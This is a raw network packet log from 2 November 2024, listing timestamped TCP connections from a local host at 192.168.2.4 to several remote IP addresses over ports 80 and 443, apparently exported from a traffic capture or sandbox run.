Nov 2, 2024 07:16:06.080308914 CET	63775	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.080310106 CET	63775	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.080339909 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.080367088 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.082134008 CET	63780	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.082149029 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.082227945 CET	63780	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.082331896 CET	63780	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.082339048 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.105050087 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.105333090 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.105411053 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.105537891 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.105549097 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.105557919 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.105561972 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.107381105 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.107405901 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.107467890 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.107600927 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.107613087 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.136241913 CET	49723	80	192.168.2.4	199.232.214.172
Nov 2, 2024 07:16:06.136286974 CET	49724	80	192.168.2.4	199.232.214.172
Nov 2, 2024 07:16:06.141872883 CET	80	49723	199.232.214.172	192.168.2.4
Nov 2, 2024 07:16:06.141990900 CET	80	49724	199.232.214.172	192.168.2.4
Nov 2, 2024 07:16:06.142056942 CET	49723	80	192.168.2.4	199.232.214.172
Nov 2, 2024 07:16:06.142075062 CET	49724	80	192.168.2.4	199.232.214.172
Nov 2, 2024 07:16:06.235673904 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.236124039 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.236149073 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.236547947 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.236552954 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.369276047 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.369405985 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.369581938 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.369698048 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.369716883 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.369729042 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.369734049 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.372272015 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.372286081 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.372350931 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.372502089 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.372512102 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.465965986 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.473881006 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.473901987 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.474342108 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.474347115 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.599983931 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.600028038 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.600080967 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.600239038 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.600239038 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.600250006 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.600258112 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.602675915 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.602706909 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.602827072 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.602942944 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.602955103 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.764339924 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.766463995 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.766480923 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.766865969 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.766870022 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.816586971 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.818403959 CET	63780	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.818420887 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.818753958 CET	63780	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.818758011 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.886001110 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.896024942 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.896042109 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.896415949 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.896421909 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.904561996 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.904625893 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.904694080 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.904870033 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.904889107 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.904900074 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.904905081 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.909245968 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.909303904 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.909399033 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.909497976 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.909527063 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.946439028 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.946568966 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.946712017 CET	63780	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.965110064 CET	63780	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.965116024 CET	443	63780	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.968202114 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.968233109 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.968374014 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.968558073 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.968571901 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.029716015 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.029875994 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.030144930 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.032567024 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.032583952 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.032593012 CET	63781	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.032598019 CET	443	63781	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.045996904 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.046039104 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.046123028 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.046272039 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.046298981 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.153784037 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.168068886 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.168087006 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.172775984 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.172780037 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.249109983 CET	63773	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:07.249387980 CET	63787	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:07.254250050 CET	80	63787	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:07.254879951 CET	80	63773	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:07.254956007 CET	63773	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:07.254968882 CET	63787	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:07.257410049 CET	63787	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:07.262307882 CET	80	63787	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:07.320800066 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.320847988 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.320921898 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.336570024 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.336581945 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.336591959 CET	63782	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.336596012 CET	443	63782	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.340934038 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.340953112 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.341214895 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.341825962 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.341834068 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.347229004 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.350620985 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.350630999 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.351052046 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.351056099 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.478404999 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.478478909 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.478533983 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.478655100 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.478666067 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.478678942 CET	63783	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.478682995 CET	443	63783	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.480784893 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.480854034 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.480945110 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.481040001 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.481066942 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.676105022 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.676574945 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.676629066 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.677035093 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.677052975 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.749541998 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.749857903 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.749891996 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.750212908 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.750227928 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.807260036 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.807641983 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.807693005 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.808022976 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.808036089 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.811464071 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.811840057 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.811903954 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.811950922 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.811950922 CET	63784	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.811981916 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.812004089 CET	443	63784	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.814239979 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.814263105 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.814347029 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.814482927 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.814493895 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.888588905 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.888736010 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.888808966 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.888889074 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.888921976 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.888947964 CET	63785	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.888962030 CET	443	63785	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.891520023 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.891576052 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.891671896 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.891825914 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.891854048 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.941148996 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.941298962 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.941364050 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.941409111 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.941409111 CET	63786	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.941430092 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.941452026 CET	443	63786	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.943635941 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.943680048 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:07.943747044 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.943964005 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:07.943993092 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.082850933 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.083245039 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.083259106 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.083631992 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.083636045 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.209477901 CET	80	63787	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:08.209548950 CET	63787	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:08.214687109 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.214898109 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.214952946 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.215092897 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.215101004 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.215111017 CET	63788	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.215115070 CET	443	63788	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.217406988 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.217454910 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.217541933 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.217659950 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.217694998 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.242779016 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.243148088 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.243194103 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.243551970 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.243563890 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.360874891 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:08.365767956 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:08.365849972 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:08.365917921 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:08.370758057 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:08.385004044 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.385070086 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.385221004 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.385391951 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.385418892 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.385451078 CET	63789	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.385467052 CET	443	63789	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.387655973 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.387715101 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.387808084 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.387953997 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.387984991 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.578670025 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.579173088 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.579190969 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.579566956 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.579571962 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.658200979 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.658557892 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.658602953 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.658863068 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.658875942 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.713336945 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.713474989 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.713526011 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.713599920 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.713608980 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.713640928 CET	63790	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.713645935 CET	443	63790	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.716063023 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.716104031 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.716197014 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.716310024 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.716334105 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.716846943 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.717114925 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.717149973 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.717457056 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.717473030 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.794620037 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.794672012 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.794728994 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.794941902 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.794966936 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.794990063 CET	63791	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.795001984 CET	443	63791	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.796895981 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.796916962 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.797000885 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.797102928 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.797113895 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.862308979 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.862451077 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.862523079 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.862571955 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.862571955 CET	63792	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.862601042 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.862624884 CET	443	63792	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.864284992 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.864317894 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.864382029 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.864480972 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.864495993 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.986362934 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.986706018 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.986742973 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:08.987188101 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:08.987202883 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.037825108 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.037837982 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.037847996 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.037885904 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.037926912 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.037961960 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.037977934 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.037987947 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.037996054 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.038005114 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.038016081 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.038016081 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.038016081 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.038032055 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.038038969 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.038058043 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.038083076 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.042866945 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.042877913 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.042890072 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.042948008 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.042984962 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.118067026 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.118418932 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.118454933 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.118969917 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.118982077 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.120693922 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.120769024 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.120815992 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.120898962 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.120934010 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.120963097 CET	63793	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.120976925 CET	443	63793	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.123058081 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.123079062 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.123136044 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.123249054 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.123256922 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.160742998 CET	80	63794	208.109.77.116	192.168.2.4
